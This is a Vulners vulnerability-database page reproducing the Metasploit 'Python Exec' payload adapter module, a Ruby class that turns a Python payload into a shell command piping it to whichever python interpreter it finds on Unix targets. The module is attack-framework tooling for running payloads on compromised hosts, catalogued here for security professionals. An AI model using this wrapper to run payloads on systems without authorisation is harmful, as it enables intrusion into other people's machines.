Lucene search
K

Python Exec, Python Execute Command

🗓️ 01 Nov 2024 18:54:15Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 203 Views

Execute a Python payload from a comman

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Exec',
        'Description' => 'Execute a Python payload as an OS command from a Posix-compatible shell',
        'Author' => 'Spencer McIntyre',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_PYTHON,
        'AdaptedPlatform' => 'python'
      )
    )
  end

  def compatible?(mod)
    if mod.type == Msf::MODULE_PAYLOAD && mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
      return false
    end

    super
  end

  def generate(_opts = {})
    payload = super

    if payload.include?("\n")
      payload = Msf::Payload::Python.create_exec_stub(payload)
    end

    "echo #{Shellwords.escape(payload)} | exec $(which python || which python3 || which python2) -"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
7.3High risk
Vulners AI Score7.3
203